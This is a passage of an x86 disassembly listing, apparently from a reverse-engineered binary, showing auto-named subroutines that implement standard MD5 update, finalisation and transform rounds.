0805512c  83 c4 10                add    $0x10,%esp
0805512f  83 fe 3f                cmp    $0x3f,%esi
08055132  76 28                   jbe    0805515c <Unknown0111+0xb0>
08055134  8d 5f 18                lea    0x18(%edi),%ebx
08055137  90                      nop
08055138  51                      push   %ecx
08055139  6a 40                   push   $0x40
0805513b  ff 75 f0                pushl  0xfffffff0(%ebp)
0805513e  53                      push   %ebx
0805513f  e8 f8 50 ff ff          call   0804a23c <memcpy>
```

```
08055144   58                          pop      %eax
08055145   5a                          pop      %edx
08055146   53                          push     %ebx
08055147   57                          push     %edi
08055148   e8 5f 01 00 00              call     080552ac <Unknown0113>
0805514d   83 ee 40                    sub      $0x40,%esi
08055150   83 45 f0 40                 addl     $0x40,0xfffffff0(%ebp)
08055154   83 c4 10                    add      $0x10,%esp
08055157   83 fe 3f                    cmp      $0x3f,%esi
0805515a   77 dc                       ja       08055138 <Unknown0111+0x8c>
0805515c   8d 47 18                    lea      0x18(%edi),%eax
0805515f   8b 55 f0                    mov      0xfffffff0(%ebp),%edx
08055162   89 75 10                    mov      %esi,0x10(%ebp)
08055165   89 55 0c                    mov      %edx,0xc(%ebp)
08055168   89 45 08                    mov      %eax,0x8(%ebp)
0805516b   8d 65 f4                    lea      0xfffffff4(%ebp),%esp
0805516e   5b                          pop      %ebx
0805516f   5e                          pop      %esi
08055170   5f                          pop      %edi
08055171   5d                          pop      %ebp
08055172   e9 c5 50 ff ff              jmp      0804a23c <memcpy>   ;-44859 'xc5 x50 xff xff' ""
08055177   90                          nop


  ;
  ; >----------------------<  Subroutine # 112 >----------------------<
  ;
08055178 <Unknown0112>:
08055178   55                          push     %ebp
08055179   89 e5                       mov      %esp,%ebp
0805517b   57                          push     %edi
0805517c   56                          push     %esi
0805517d   53                          push     %ebx
0805517e   83 ec 0c                    sub      $0xc,%esp
08055181   8b 75 0c                    mov      0xc(%ebp),%esi
08055184   8b 56 10                    mov      0x10(%esi),%edx
08055187   c1 ea 03                    shr      $0x3,%edx
0805518a   83 e2 3f                    and      $0x3f,%edx
0805518d   8d 04 32                    lea      (%edx,%esi,1),%eax
08055190   8b 5d 08                    mov      0x8(%ebp),%ebx
08055193   8d 48 19                    lea      0x19(%eax),%ecx
08055196   c6 40 18 80                 movb     $0x80,0x18(%eax)
0805519a   b8 3f 00 00 00              mov      $0x3f,%eax  ;63 'x3f x0 x0 x0' "?"
0805519f   29 d0                       sub      %edx,%eax
080551a1   89 c2                       mov      %eax,%edx
080551a3   83 fa 07                    cmp      $0x7,%edx
080551a6   77 28                       ja       080551d0 <Unknown0112+0x58>
080551a8   57                          push     %edi
080551a9   52                          push     %edx
080551aa   6a 00                       push     $0x0
080551ac   51                          push     %ecx
080551ad   e8 fa 51 ff ff              call     0804a3ac <memset>
080551b2   58                          pop      %eax
080551b3   5a                          pop      %edx
080551b4   8d 7e 18                    lea      0x18(%esi),%edi
080551b7   57                          push     %edi
080551b8   56                          push     %esi
080551b9   e8 ee 00 00 00              call     080552ac <Unknown0113>
080551be   fc                          cld
080551bf   b9 0e 00 00 00              mov      $0xe,%ecx   ;14 'xe x0 x0 x0' ""
080551c4   31 c0                       xor      %eax,%eax
080551c6   83 c4 10                    add      $0x10,%esp
080551c9   f3 ab                       repz stos %eax,%es:(%edi)
080551cb   eb 13                       jmp      080551e0 <Unknown0112+0x68>
080551cd   8d 76 00                    lea      0x0(%esi),%esi
080551d0   57                          push     %edi
080551d1   8d 42 f8                    lea      0xfffffff8(%edx),%eax
080551d4   50                          push     %eax
080551d5   6a 00                       push     $0x0
080551d7   51                          push     %ecx
080551d8   e8 cf 51 ff ff              call     0804a3ac <memset>
080551dd   83 c4 10                    add      $0x10,%esp
080551e0   8a 46 10                    mov      0x10(%esi),%al
080551e3   88 46 50                    mov      %al,0x50(%esi)
080551e6   8b 46 10                    mov      0x10(%esi),%eax
080551e9   c1 e8 08                    shr      $0x8,%eax
080551ec   88 46 51                    mov      %al,0x51(%esi)
080551ef   0f b7 46 12                 movzwl   0x12(%esi),%eax
080551f3   88 46 52                    mov      %al,0x52(%esi)
080551f6   0f b6 46 13                 movzbl   0x13(%esi),%eax
080551fa   88 46 53                    mov      %al,0x53(%esi)
080551fd   8a 46 14                    mov      0x14(%esi),%al
08055200   88 46 54                    mov      %al,0x54(%esi)
08055203   8b 46 14                    mov      0x14(%esi),%eax
```

```
08055206  c1 e8 08            shr     $0x8,%eax
08055209  88 46 55            mov     %al,0x55(%esi)
0805520c  0f b7 46 16         movzwl  0x16(%esi),%eax
08055210  88 46 56            mov     %al,0x56(%esi)
08055213  0f b6 46 17         movzbl  0x17(%esi),%eax
08055217  88 46 57            mov     %al,0x57(%esi)
0805521a  83 ec 08            sub     $0x8,%esp
0805521d  8d 46 18            lea     0x18(%esi),%eax
08055220  50                  push    %eax
08055221  56                  push    %esi
08055222  e8 85 00 00 00      call    080552ac <Unknown0113>
08055227  83 c4 10            add     $0x10,%esp
0805522a  8a 06               mov     (%esi),%al
0805522c  88 03               mov     %al,(%ebx)
0805522e  8b 06               mov     (%esi),%eax
08055230  c1 e8 08            shr     $0x8,%eax
08055233  88 43 01            mov     %al,0x1(%ebx)
08055236  0f b7 46 02         movzwl  0x2(%esi),%eax
0805523a  88 43 02            mov     %al,0x2(%ebx)
0805523d  0f b6 46 03         movzbl  0x3(%esi),%eax
08055241  88 43 03            mov     %al,0x3(%ebx)
08055244  8a 46 04            mov     0x4(%esi),%al
08055247  88 43 04            mov     %al,0x4(%ebx)
0805524a  8b 46 04            mov     0x4(%esi),%eax
0805524d  c1 e8 08            shr     $0x8,%eax
08055250  88 43 05            mov     %al,0x5(%ebx)
08055253  0f b7 46 06         movzwl  0x6(%esi),%eax
08055257  88 43 06            mov     %al,0x6(%ebx)
0805525a  0f b6 46 07         movzbl  0x7(%esi),%eax
0805525e  88 43 07            mov     %al,0x7(%ebx)
08055261  8a 46 08            mov     0x8(%esi),%al
08055264  88 43 08            mov     %al,0x8(%ebx)
08055267  8b 46 08            mov     0x8(%esi),%eax
0805526a  c1 e8 08            shr     $0x8,%eax
0805526d  88 43 09            mov     %al,0x9(%ebx)
08055270  0f b7 46 0a         movzwl  0xa(%esi),%eax
08055274  88 43 0a            mov     %al,0xa(%ebx)
08055277  0f b6 46 0b         movzbl  0xb(%esi),%eax
0805527b  88 43 0b            mov     %al,0xb(%ebx)
0805527e  8a 46 0c            mov     0xc(%esi),%al
08055281  88 43 0c            mov     %al,0xc(%ebx)
08055284  8b 46 0c            mov     0xc(%esi),%eax
08055287  c1 e8 08            shr     $0x8,%eax
0805528a  88 43 0d            mov     %al,0xd(%ebx)
0805528d  0f b7 46 0e         movzwl  0xe(%esi),%eax
08055291  88 43 0e            mov     %al,0xe(%ebx)
08055294  0f b6 46 0f         movzbl  0xf(%esi),%eax
08055298  88 43 0f            mov     %al,0xf(%ebx)
0805529b  c7 06 00 00 00 00   movl    $0x0,(%esi)   ¡0 'x0 x0 x0 x0' ""
080552a1  8d 65 f4            lea     0xfffffff4(%ebp),%esp
080552a4  5b                  pop     %ebx
080552a5  5e                  pop     %esi
080552a6  5f                  pop     %edi
080552a7  5d                  pop     %ebp
080552a8  c3                  ret
080552a9  8d 76 00            lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 113 >--------------------<
  ;
080552ac <Unknown0113>:
080552ac  55                  push    %ebp
080552ad  89 e5               mov     %esp,%ebp
080552af  57                  push    %edi
080552b0  56                  push    %esi
080552b1  53                  push    %ebx
080552b2  83 ec 5c            sub     $0x5c,%esp
080552b5  31 c9               xor     %ecx,%ecx
080552b7  8b 7d 08            mov     0x8(%ebp),%edi
080552ba  8b 5d 0c            mov     0xc(%ebp),%ebx
080552bd  8d 75 a8            lea     0xffffffa8(%ebp),%esi
080552c0  0f b6 44 8b 01      movzbl  0x1(%ebx,%ecx,4),%eax
080552c5  0f b6 14 8b         movzbl  (%ebx,%ecx,4),%edx
080552c9  c1 e0 08            shl     $0x8,%eax
080552cc  09 c2               or      %eax,%edx
080552ce  0f b6 44 8b 02      movzbl  0x2(%ebx,%ecx,4),%eax
080552d3  c1 e0 10            shl     $0x10,%eax
080552d6  09 c2               or      %eax,%edx
080552d8  0f b6 44 8b 03      movzbl  0x3(%ebx,%ecx,4),%eax
080552dd  c1 e0 18            shl     $0x18,%eax
080552e0  09 c2               or      %eax,%edx
080552e2  89 14 8e            mov     %edx,(%esi,%ecx,4)
080552e5  41                  inc     %ecx
```

```
080552e6  83 f9 0f              cmp     $0xf,%ecx
080552e9  76 d5                 jbe     080552c0 <Unknown0113+0x14>
080552eb  8b 5f 08              mov     0x8(%edi),%ebx
080552ee  8b 77 0c              mov     0xc(%edi),%esi
080552f1  89 da                 mov     %ebx,%edx
080552f3  8b 4f 04              mov     0x4(%edi),%ecx
080552f6  31 f2                 xor     %esi,%edx
080552f8  21 ca                 and     %ecx,%edx
080552fa  31 f2                 xor     %esi,%edx
080552fc  03 55 a8              add     0xffffffa8(%ebp),%edx
080552ff  03 17                 add     (%edi),%edx
08055301  81 ea 88 5b 95 28     sub     $0x28955b88,%edx   ;680876936 'x88 x5b x95 x28' ""
08055307  89 4d a4              mov     %ecx,0xffffffa4(%ebp)
0805530a  c1 c2 07              rol     $0x7,%edx
0805530d  31 5d a4              xor     %ebx,0xffffffa4(%ebp)
08055310  01 ca                 add     %ecx,%edx
08055312  21 55 a4              and     %edx,0xffffffa4(%ebp)
08055315  31 5d a4              xor     %ebx,0xffffffa4(%ebp)
08055318  8b 45 a4              mov     0xffffffa4(%ebp),%eax
0805531b  03 45 ac              add     0xffffffac(%ebp),%eax
0805531e  8d b4 30 56 b7 c7 e8  lea     0xe8c7b756(%eax,%esi,1),%esi   ;-389564586 'x56 xb7 xc7 xe8' "V"
08055325  89 55 a4              mov     %edx,0xffffffa4(%ebp)
08055328  c1 c6 0c              rol     $0xc,%esi
0805532b  31 4d a4              xor     %ecx,0xffffffa4(%ebp)
0805532e  01 d6                 add     %edx,%esi
08055330  21 75 a4              and     %esi,0xffffffa4(%ebp)
08055333  31 4d a4              xor     %ecx,0xffffffa4(%ebp)
08055336  8b 45 a4              mov     0xffffffa4(%ebp),%eax
08055339  03 45 b0              add     0xffffffb0(%ebp),%eax
0805533c  8d 9c 18 db 70 20 24  lea     0x242070db(%eax,%ebx,1),%ebx   ;606105819 'xdb x70 x20 x24' ""
08055343  89 75 a4              mov     %esi,0xffffffa4(%ebp)
08055346  c1 c3 11              rol     $0x11,%ebx
08055349  01 f3                 add     %esi,%ebx
0805534b  31 55 a4              xor     %edx,0xffffffa4(%ebp)
0805534e  21 5d a4              and     %ebx,0xffffffa4(%ebp)
08055351  31 55 a4              xor     %edx,0xffffffa4(%ebp)
08055354  8b 45 a4              mov     0xffffffa4(%ebp),%eax
08055357  03 45 b4              add     0xffffffb4(%ebp),%eax
0805535a  8d 8c 08 ee ce bd c1  lea     0xc1bdceee(%eax,%ecx,1),%ecx   ;-1044525330 'xee xce xbd xc1' ""
08055361  c1 c1 16              rol     $0x16,%ecx
08055364  01 d9                 add     %ebx,%ecx
08055366  89 5d a4              mov     %ebx,0xffffffa4(%ebp)
08055369  31 75 a4              xor     %esi,0xffffffa4(%ebp)
0805536c  21 4d a4              and     %ecx,0xffffffa4(%ebp)
0805536f  31 75 a4              xor     %esi,0xffffffa4(%ebp)
08055372  8b 45 a4              mov     0xffffffa4(%ebp),%eax
08055375  03 45 b8              add     0xffffffb8(%ebp),%eax
08055378  8d 94 10 af 0f 7c f5  lea     0xf57c0faf(%eax,%edx,1),%edx   ;-176418897 'xaf xf x7c xf5' ""
0805537f  89 4d a4              mov     %ecx,0xffffffa4(%ebp)
08055382  c1 c2 07              rol     $0x7,%edx
08055385  31 5d a4              xor     %ebx,0xffffffa4(%ebp)
08055388  01 ca                 add     %ecx,%edx
0805538a  21 55 a4              and     %edx,0xffffffa4(%ebp)
0805538d  31 5d a4              xor     %ebx,0xffffffa4(%ebp)
08055390  8b 45 a4              mov     0xffffffa4(%ebp),%eax
08055393  03 45 bc              add     0xffffffbc(%ebp),%eax
08055396  8d b4 30 2a c6 87 47  lea     0x4787c62a(%eax,%esi,1),%esi   ;1200080426 'x2a xc6 x87 x47' "*"
0805539d  89 55 a4              mov     %edx,0xffffffa4(%ebp)
080553a0  c1 c6 0c              rol     $0xc,%esi
080553a3  31 4d a4              xor     %ecx,0xffffffa4(%ebp)
080553a6  01 d6                 add     %edx,%esi
080553a8  21 75 a4              and     %esi,0xffffffa4(%ebp)
080553ab  31 4d a4              xor     %ecx,0xffffffa4(%ebp)
080553ae  8b 45 a4              mov     0xffffffa4(%ebp),%eax
080553b1  03 45 c0              add     0xffffffc0(%ebp),%eax
080553b4  8d 9c 18 13 46 30 a8  lea     0xa8304613(%eax,%ebx,1),%ebx   ;-1473231341 'x13 x46 x30 xa8' ""
080553bb  89 75 a4              mov     %esi,0xffffffa4(%ebp)
080553be  c1 c3 11              rol     $0x11,%ebx
080553c1  01 f3                 add     %esi,%ebx
080553c3  31 55 a4              xor     %edx,0xffffffa4(%ebp)
080553c6  21 5d a4              and     %ebx,0xffffffa4(%ebp)
080553c9  31 55 a4              xor     %edx,0xffffffa4(%ebp)
080553cc  8b 45 a4              mov     0xffffffa4(%ebp),%eax
080553cf  03 45 c4              add     0xffffffc4(%ebp),%eax
080553d2  8d 8c 08 01 95 46 fd  lea     0xfd469501(%eax,%ecx,1),%ecx   ;-45705983 'x1 x95 x46 xfd' ""
080553d9  c1 c1 16              rol     $0x16,%ecx
080553dc  89 5d a4              mov     %ebx,0xffffffa4(%ebp)
080553df  01 d9                 add     %ebx,%ecx
080553e1  31 75 a4              xor     %esi,0xffffffa4(%ebp)
080553e4  21 4d a4              and     %ecx,0xffffffa4(%ebp)
080553e7  31 75 a4              xor     %esi,0xffffffa4(%ebp)
080553ea  8b 45 a4              mov     0xffffffa4(%ebp),%eax
080553ed  03 45 c8              add     0xffffffc8(%ebp),%eax
080553f0  8d 94 10 d8 98 80 69  lea     0x698098d8(%eax,%edx,1),%edx   ;1770035416 'xd8 x98 x80 x69' ""
```

```
080553f7  89 4d a4              mov   %ecx,0xffffffa4(%ebp)
080553fa  c1 c2 07              rol   $0x7,%edx
080553fd  31 5d a4              xor   %ebx,0xffffffa4(%ebp)
08055400  01 ca                 add   %ecx,%edx
08055402  21 55 a4              and   %edx,0xffffffa4(%ebp)
08055405  31 5d a4              xor   %ebx,0xffffffa4(%ebp)
08055408  8b 45 a4              mov   0xffffffa4(%ebp),%eax
0805540b  03 45 cc              add   0xffffffcc(%ebp),%eax
0805540e  8d b4 30 af f7 44 8b  lea   0x8b44f7af(%eax,%esi,1),%esi  ;-1958414417 'xaf xf7 x44 x8b' ""
08055415  89 55 a4              mov   %edx,0xffffffa4(%ebp)
08055418  c1 c6 0c              rol   $0xc,%esi
0805541b  31 4d a4              xor   %ecx,0xffffffa4(%ebp)
0805541e  01 d6                 add   %edx,%esi
08055420  21 75 a4              and   %esi,0xffffffa4(%ebp)
08055423  31 4d a4              xor   %ecx,0xffffffa4(%ebp)
08055426  8b 45 a4              mov   0xffffffa4(%ebp),%eax
08055429  03 45 d0              add   0xffffffd0(%ebp),%eax
0805542c  8d 9c 18 b1 5b ff ff  lea   0xffff5bb1(%eax,%ebx,1),%ebx  ;-42063 'xb1 x5b xff xff' ""
08055433  89 75 a4              mov   %esi,0xffffffa4(%ebp)
08055436  c1 c3 11              rol   $0x11,%ebx
08055439  01 f3                 add   %esi,%ebx
0805543b  31 55 a4              xor   %edx,0xffffffa4(%ebp)
0805543e  21 5d a4              and   %ebx,0xffffffa4(%ebp)
08055441  31 55 a4              xor   %edx,0xffffffa4(%ebp)
08055444  8b 45 a4              mov   0xffffffa4(%ebp),%eax
08055447  03 45 d4              add   0xffffffd4(%ebp),%eax
0805544a  8d 8c 08 be d7 5c 89  lea   0x895cd7be(%eax,%ecx,1),%ecx  ;-1990404162 'xbe xd7 x5c x89' ""
08055451  c1 c1 16              rol   $0x16,%ecx
08055454  89 5d a4              mov   %ebx,0xffffffa4(%ebp)
08055457  01 d9                 add   %ebx,%ecx
08055459  31 75 a4              xor   %esi,0xffffffa4(%ebp)
0805545c  21 4d a4              and   %ecx,0xffffffa4(%ebp)
0805545f  31 75 a4              xor   %esi,0xffffffa4(%ebp)
08055462  8b 45 a4              mov   0xffffffa4(%ebp),%eax
08055465  03 45 d8              add   0xffffffd8(%ebp),%eax
08055468  8d 94 10 22 11 90 6b  lea   0x6b901122(%eax,%edx,1),%edx  ;1804603682 'x22 x11 x90 x6b' """
0805546f  89 4d a4              mov   %ecx,0xffffffa4(%ebp)
08055472  c1 c2 07              rol   $0x7,%edx
08055475  31 5d a4              xor   %ebx,0xffffffa4(%ebp)
08055478  01 ca                 add   %ecx,%edx
0805547a  21 55 a4              and   %edx,0xffffffa4(%ebp)
0805547d  31 5d a4              xor   %ebx,0xffffffa4(%ebp)
08055480  8b 45 a4              mov   0xffffffa4(%ebp),%eax
08055483  03 45 dc              add   0xffffffdc(%ebp),%eax
08055486  8d b4 30 93 71 98 fd  lea   0xfd987193(%eax,%esi,1),%esi  ;-40341101 'x93 x71 x98 xfd' ""
0805548d  89 55 a4              mov   %edx,0xffffffa4(%ebp)
08055490  c1 c6 0c              rol   $0xc,%esi
08055493  31 4d a4              xor   %ecx,0xffffffa4(%ebp)
08055496  01 d6                 add   %edx,%esi
08055498  21 75 a4              and   %esi,0xffffffa4(%ebp)
0805549b  31 4d a4              xor   %ecx,0xffffffa4(%ebp)
0805549e  8b 45 a4              mov   0xffffffa4(%ebp),%eax
080554a1  03 45 e0              add   0xffffffe0(%ebp),%eax
080554a4  8d 9c 18 8e 43 79 a6  lea   0xa679438e(%eax,%ebx,1),%ebx  ;-1502002290 'x8e x43 x79 xa6' ""
080554ab  89 75 a4              mov   %esi,0xffffffa4(%ebp)
080554ae  c1 c3 11              rol   $0x11,%ebx
080554b1  01 f3                 add   %esi,%ebx
080554b3  31 55 a4              xor   %edx,0xffffffa4(%ebp)
080554b6  21 5d a4              and   %ebx,0xffffffa4(%ebp)
080554b9  31 55 a4              xor   %edx,0xffffffa4(%ebp)
080554bc  8b 45 a4              mov   0xffffffa4(%ebp),%eax
080554bf  03 45 e4              add   0xffffffe4(%ebp),%eax
080554c2  8d 8c 08 21 08 b4 49  lea   0x49b40821(%eax,%ecx,1),%ecx  ;1236535329 'x21 x8 xb4 x49' "!"
080554c9  c1 c1 16              rol   $0x16,%ecx
080554cc  01 d9                 add   %ebx,%ecx
080554ce  89 c8                 mov   %ecx,%eax
080554d0  31 d8                 xor   %ebx,%eax
080554d2  21 f0                 and   %esi,%eax
080554d4  31 d8                 xor   %ebx,%eax
080554d6  03 45 ac              add   0xffffffac(%ebp),%eax
080554d9  8d 94 10 62 25 1e f6  lea   0xf61e2562(%eax,%edx,1),%edx  ;-165796510 'x62 x25 x1e xf6' "b%"
080554e0  c1 c2 05              rol   $0x5,%edx
080554e3  01 ca                 add   %ecx,%edx
080554e5  89 d0                 mov   %edx,%eax
080554e7  31 c8                 xor   %ecx,%eax
080554e9  21 d8                 and   %ebx,%eax
080554eb  31 c8                 xor   %ecx,%eax
080554ed  03 45 c0              add   0xffffffc0(%ebp),%eax
080554f0  8d b4 30 40 b3 40 c0  lea   0xc040b340(%eax,%esi,1),%esi  ;-1069501632 'x40 xb3 x40 xc0' "@"
080554f7  c1 c6 09              rol   $0x9,%esi
080554fa  01 d6                 add   %edx,%esi
080554fc  89 f0                 mov   %esi,%eax
080554fe  31 d0                 xor   %edx,%eax
08055500  21 c8                 and   %ecx,%eax
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08055502   31 d0                     xor    %edx,%eax
08055504   03 45 d4                  add    0xffffffd4(%ebp),%eax
08055507   8d 9c 18 51 5a 5e 26      lea    0x265e5a51(%eax,%ebx,1),%ebx   ;643717713 'x51 x5a x5e x26' "QZ^&"
0805550e   c1 c3 0e                  rol    $0xe,%ebx
08055511   01 f3                     add    %esi,%ebx
08055513   89 d8                     mov    %ebx,%eax
08055515   31 f0                     xor    %esi,%eax
08055517   21 d0                     and    %edx,%eax
08055519   31 f0                     xor    %esi,%eax
0805551b   03 45 a8                  add    0xffffffa8(%ebp),%eax
0805551e   8d 8c 08 aa c7 b6 e9      lea    0xe9b6c7aa(%eax,%ecx,1),%ecx   ;-373897302 'xaa xc7 xb6 xe9' ""
08055525   c1 c1 14                  rol    $0x14,%ecx
08055528   01 d9                     add    %ebx,%ecx
0805552a   89 c8                     mov    %ecx,%eax
0805552c   31 d8                     xor    %ebx,%eax
0805552e   21 f0                     and    %esi,%eax
08055530   31 d8                     xor    %ebx,%eax
08055532   03 45 bc                  add    0xffffffbc(%ebp),%eax
08055535   8d 94 10 5d 10 2f d6      lea    0xd62f105d(%eax,%edx,1),%edx   ;-701558691 'x5d x10 x2f xd6' "]"
0805553c   c1 c2 05                  rol    $0x5,%edx
0805553f   01 ca                     add    %ecx,%edx
08055541   89 d0                     mov    %edx,%eax
08055543   31 c8                     xor    %ecx,%eax
08055545   21 d8                     and    %ebx,%eax
08055547   31 c8                     xor    %ecx,%eax
08055549   03 45 d0                  add    0xffffffd0(%ebp),%eax
0805554c   8d b4 30 53 14 44 02      lea    0x2441453(%eax,%esi,1),%esi    ;38016083 'x53 x14 x44 x2' "S"
08055553   c1 c6 09                  rol    $0x9,%esi
08055556   01 d6                     add    %edx,%esi
08055558   89 f0                     mov    %esi,%eax
0805555a   31 d0                     xor    %edx,%eax
0805555c   21 c8                     and    %ecx,%eax
0805555e   31 d0                     xor    %edx,%eax
08055560   03 45 e4                  add    0xffffffe4(%ebp),%eax
08055563   8d 9c 18 81 e6 a1 d8      lea    0xd8a1e681(%eax,%ebx,1),%ebx   ;-660478335 'x81 xe6 xa1 xd8' ""
0805556a   c1 c3 0e                  rol    $0xe,%ebx
0805556d   01 f3                     add    %esi,%ebx
0805556f   89 d8                     mov    %ebx,%eax
08055571   31 f0                     xor    %esi,%eax
08055573   21 d0                     and    %edx,%eax
08055575   31 f0                     xor    %esi,%eax
08055577   03 45 b8                  add    0xffffffb8(%ebp),%eax
0805557a   8d 8c 08 c8 fb d3 e7      lea    0xe7d3fbc8(%eax,%ecx,1),%ecx   ;-405537848 'xc8 xfb xd3 xe7' ""
08055581   c1 c1 14                  rol    $0x14,%ecx
08055584   01 d9                     add    %ebx,%ecx
08055586   89 c8                     mov    %ecx,%eax
08055588   31 d8                     xor    %ebx,%eax
0805558a   21 f0                     and    %esi,%eax
0805558c   31 d8                     xor    %ebx,%eax
0805558e   03 45 cc                  add    0xffffffcc(%ebp),%eax
08055591   8d 94 10 e6 cd e1 21      lea    0x21e1cde6(%eax,%edx,1),%edx   ;568446438 'xe6 xcd xe1 x21' ""
08055598   c1 c2 05                  rol    $0x5,%edx
0805559b   01 ca                     add    %ecx,%edx
0805559d   89 d0                     mov    %edx,%eax
0805559f   31 c8                     xor    %ecx,%eax
080555a1   21 d8                     and    %ebx,%eax
080555a3   31 c8                     xor    %ecx,%eax
080555a5   03 45 e0                  add    0xffffffe0(%ebp),%eax
080555a8   8d b4 30 d6 07 37 c3      lea    0xc33707d6(%eax,%esi,1),%esi   ;-1019803690 'xd6 x7 x37 xc3' ""
080555af   c1 c6 09                  rol    $0x9,%esi
080555b2   01 d6                     add    %edx,%esi
080555b4   89 f0                     mov    %esi,%eax
080555b6   31 d0                     xor    %edx,%eax
080555b8   21 c8                     and    %ecx,%eax
080555ba   31 d0                     xor    %edx,%eax
080555bc   03 45 b4                  add    0xffffffb4(%ebp),%eax
080555bf   8d 9c 18 87 0d d5 f4      lea    0xf4d50d87(%eax,%ebx,1),%ebx   ;-187363961 'x87 xd xd5 xf4' ""
080555c6   c1 c3 0e                  rol    $0xe,%ebx
080555c9   01 f3                     add    %esi,%ebx
080555cb   89 d8                     mov    %ebx,%eax
080555cd   31 f0                     xor    %esi,%eax
080555cf   21 d0                     and    %edx,%eax
080555d1   31 f0                     xor    %esi,%eax
080555d3   03 45 c8                  add    0xffffffc8(%ebp),%eax
080555d6   8d 8c 08 ed 14 5a 45      lea    0x455a14ed(%eax,%ecx,1),%ecx   ;1163531501 'xed x14 x5a x45' ""
080555dd   c1 c1 14                  rol    $0x14,%ecx
080555e0   01 d9                     add    %ebx,%ecx
080555e2   89 c8                     mov    %ecx,%eax
080555e4   31 d8                     xor    %ebx,%eax
080555e6   21 f0                     and    %esi,%eax
080555e8   31 d8                     xor    %ebx,%eax
080555ea   03 45 dc                  add    0xffffffdc(%ebp),%eax
080555ed   8d 94 10 05 e9 e3 a9      lea    0xa9e3e905(%eax,%edx,1),%edx   ;-1444681467 'x5 xe9 xe3 xa9' ""
080555f4   c1 c2 05                  rol    $0x5,%edx
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080555f7   01 ca                   add    %ecx,%edx
080555f9   89 d0                   mov    %edx,%eax
080555fb   31 c8                   xor    %ecx,%eax
080555fd   21 d8                   and    %ebx,%eax
080555ff   31 c8                   xor    %ecx,%eax
08055601   03 45 b0                add    0xffffffb0(%ebp),%eax
08055604   8d b4 30 f8 a3 ef fc    lea    0xfcefa3f8(%eax,%esi,1),%esi   ;-51403784 'xf8 xa3 xef xfc' ""
0805560b   c1 c6 09                rol    $0x9,%esi
0805560e   01 d6                   add    %edx,%esi
08055610   89 f0                   mov    %esi,%eax
08055612   31 d0                   xor    %edx,%eax
08055614   21 c8                   and    %ecx,%eax
08055616   31 d0                   xor    %edx,%eax
08055618   03 45 c4                add    0xffffffc4(%ebp),%eax
0805561b   8d 9c 18 d9 02 6f 67    lea    0x676f02d9(%eax,%ebx,1),%ebx   ;1735328473 'xd9 x2 x6f x67' ""
08055622   c1 c3 0e                rol    $0xe,%ebx
08055625   01 f3                   add    %esi,%ebx
08055627   89 d8                   mov    %ebx,%eax
08055629   31 f0                   xor    %esi,%eax
0805562b   21 d0                   and    %edx,%eax
0805562d   31 f0                   xor    %esi,%eax
0805562f   03 45 d8                add    0xffffffd8(%ebp),%eax
08055632   8d 8c 08 8a 4c 2a 8d    lea    0x8d2a4c8a(%eax,%ecx,1),%ecx   ;-1926607734 'x8a x4c x2a x8d' ""
08055639   c1 c1 14                rol    $0x14,%ecx
0805563c   01 d9                   add    %ebx,%ecx
0805563e   89 c8                   mov    %ecx,%eax
08055640   31 d8                   xor    %ebx,%eax
08055642   31 f0                   xor    %esi,%eax
08055644   03 45 bc                add    0xffffffbc(%ebp),%eax
08055647   8d 94 10 42 39 fa ff    lea    0xfffa3942(%eax,%edx,1),%edx   ;-378558 'x42 x39 xfa xff' "B9"
0805564e   c1 c2 04                rol    $0x4,%edx
08055651   01 ca                   add    %ecx,%edx
08055653   89 d0                   mov    %edx,%eax
08055655   31 c8                   xor    %ecx,%eax
08055657   31 d8                   xor    %ebx,%eax
08055659   03 45 c8                add    0xffffffc8(%ebp),%eax
0805565c   8d b4 30 81 f6 71 87    lea    0x8771f681(%eax,%esi,1),%esi   ;-2022574463 'x81 xf6 x71 x87' ""
08055663   c1 c6 0b                rol    $0xb,%esi
08055666   01 d6                   add    %edx,%esi
08055668   89 f0                   mov    %esi,%eax
0805566a   31 d0                   xor    %edx,%eax
0805566c   31 c8                   xor    %ecx,%eax
0805566e   03 45 d4                add    0xffffffd4(%ebp),%eax
08055671   8d 9c 18 22 61 9d 6d    lea    0x6d9d6122(%eax,%ebx,1),%ebx   ;1839030562 'x22 x61 x9d x6d' ""a"
08055678   c1 c3 10                rol    $0x10,%ebx
0805567b   01 f3                   add    %esi,%ebx
0805567d   89 d8                   mov    %ebx,%eax
0805567f   31 f0                   xor    %esi,%eax
08055681   31 d0                   xor    %edx,%eax
08055683   03 45 e0                add    0xffffffe0(%ebp),%eax
08055686   8d 8c 08 0c 38 e5 fd    lea    0xfde5380c(%eax,%ecx,1),%ecx   ;-35309556 'xc x38 xe5 xfd' ""
0805568d   c1 c1 17                rol    $0x17,%ecx
08055690   01 d9                   add    %ebx,%ecx
08055692   89 c8                   mov    %ecx,%eax
08055694   31 d8                   xor    %ebx,%eax
08055696   31 f0                   xor    %esi,%eax
08055698   03 45 ac                add    0xffffffac(%ebp),%eax
0805569b   8d 94 10 44 ea be a4    lea    0xa4beea44(%eax,%edx,1),%edx   ;-1530992060 'x44 xea xbe xa4' "D"
080556a2   c1 c2 04                rol    $0x4,%edx
080556a5   01 ca                   add    %ecx,%edx
080556a7   89 d0                   mov    %edx,%eax
080556a9   31 c8                   xor    %ecx,%eax
080556ab   31 d8                   xor    %ebx,%eax
080556ad   03 45 b8                add    0xffffffb8(%ebp),%eax
080556b0   8d b4 30 a9 cf de 4b    lea    0x4bdecfa9(%eax,%esi,1),%esi   ;1272893353 'xa9 xcf xde x4b' ""
080556b7   c1 c6 0b                rol    $0xb,%esi
080556ba   01 d6                   add    %edx,%esi
080556bc   89 f0                   mov    %esi,%eax
080556be   31 d0                   xor    %edx,%eax
080556c0   31 c8                   xor    %ecx,%eax
080556c2   03 45 c4                add    0xffffffc4(%ebp),%eax
080556c5   8d 9c 18 60 4b bb f6    lea    0xf6bb4b60(%eax,%ebx,1),%ebx   ;-155497632 'x60 x4b xbb xf6' "`K"
080556cc   c1 c3 10                rol    $0x10,%ebx
080556cf   01 f3                   add    %esi,%ebx
080556d1   89 d8                   mov    %ebx,%eax
080556d3   31 f0                   xor    %esi,%eax
080556d5   31 d0                   xor    %edx,%eax
080556d7   03 45 d0                add    0xffffffd0(%ebp),%eax
080556da   8d 8c 08 70 bc bf be    lea    0xbebfbc70(%eax,%ecx,1),%ecx   ;-1094730640 'x70 xbc xbf xbe' "p"
080556e1   c1 c1 17                rol    $0x17,%ecx
080556e4   01 d9                   add    %ebx,%ecx
080556e6   89 c8                   mov    %ecx,%eax
080556e8   31 d8                   xor    %ebx,%eax
080556ea   31 f0                   xor    %esi,%eax
